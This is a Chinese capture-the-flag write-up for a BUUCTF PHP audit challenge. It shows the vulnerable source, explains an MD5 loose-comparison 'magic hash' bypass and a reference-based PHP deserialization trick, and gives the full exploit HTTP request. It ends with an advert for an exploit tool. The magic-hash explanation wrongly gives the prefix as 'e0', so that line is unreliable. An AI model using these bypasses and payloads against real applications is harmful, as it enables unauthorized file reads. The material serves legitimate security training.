1、說明:
題目來自於BUUCTF 的基礎部分,內容就如題,是一個程式碼審計。程式碼如下:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
2、程式碼內容分析
程式碼主要可以分為4部分,如下圖
0部分為一個class
,而且在第三部分看見了反序列化unserialize($_POST['obj']);
內容,那麼就十之八九是反序列化。但是先不用去處理。且在class中可以獲得flag的值。
1部分為一個IF
滿足進入的條件為get
傳參的值為1
。
2部分也是一個IF
滿足條件為post
傳參的值為2
。
3部分也是一個IF
滿足條件為 需要兩個不同的數。且這兩個不同的數值的md5
的卻相同 。
如果 1、2、3 條件都滿足之後就會執行反序列化,通過POST
傳參obj
執行,然後進入區域0
。
0區域也有一個IF
滿足條件為屬性correct
與屬性input
相等。 但是correct 卻是利用一個時間進行計算的值的base64
值。
3、以上每個條件的滿足方式
第一部分
只需要在url
中傳參即可,如下圖
第二部分
使用burpsuit截斷內容,改變傳輸方式為POST。如下
改變為POST
之後, URL
中傳值的1 也會自動下來, 需要手動調整上去。
第三部分
第三部分為md5值得比較。通常可以用陣列
做比較繞過和弱型別
比較繞過。
這裡使用弱型別比較繞過。
原理:PHP 當中使用==
來進行比較的時候,系統會自動處理資料型別, 進行分析是數字比較還是字元比較。 而當一個字串值是e0開通的時候,那麼就會被當中數值。而e0xxxxxx都為0.
那麼就只需要找到兩個不同的數值,開頭卻是以e0開頭的即可。也是蠻多的,如下圖中所示。
然後傳參md51
和md52
即可。 這樣就可以達到md51
與md52
不相同。 但是他們的md5值卻在php中相等。
傳參方式和post一樣, 使用&
符號連結。 內容如下圖:
反序列化與引用處理。
反序列化的處理方式很簡單。 值需要將原class
中的方法去掉,放進php線上執行
中去,序列化一下即可獲得可以執行的序列化內容。
如圖:
但是以上序列化之後的字串通過post['obj']
只能達到解析的目的。 解析後內容可以控制。卻因為uniqid()函式產生的數是隨時變化的,無法預測,所以input
傳值多少無法確定。
這裡就是本題的重要考點引用
的反序列化。 我們可以簡單的把引用簡單的理解為C
語言中的地址指標。
看如下程式碼
$a=&$b;
$a=1;//此時 輸出$b 那麼變數b就為1
$a=123;//此時輸出$b 那麼變數b就為123
由以上程式碼可以發現,當變數b為a的引用的時候,b的值隨a變化。
道理我都懂了, 那麼只需要$this->input
為 $this->correct
的引用即可。
即
$this->input=&$this->correct
構造方式如下圖:
只需要在序列化的時候設定一下即可。
完整poc如下圖
http報文如下
POST /?pleaseget=1 HTTP/1.1
Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
私貨
limanmanExp 5.2版本釋出了。 增加了資料庫審計外掛。 想要的小夥伴可以看B站。
https://www.bilibili.com/video/BV1UK4y1U7G6
下載地址在簡介中。 還附帶了一些簡單的exp外掛。 如果有興趣自定義開發外掛,也可以在看雲手冊中檢視開發方法
地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143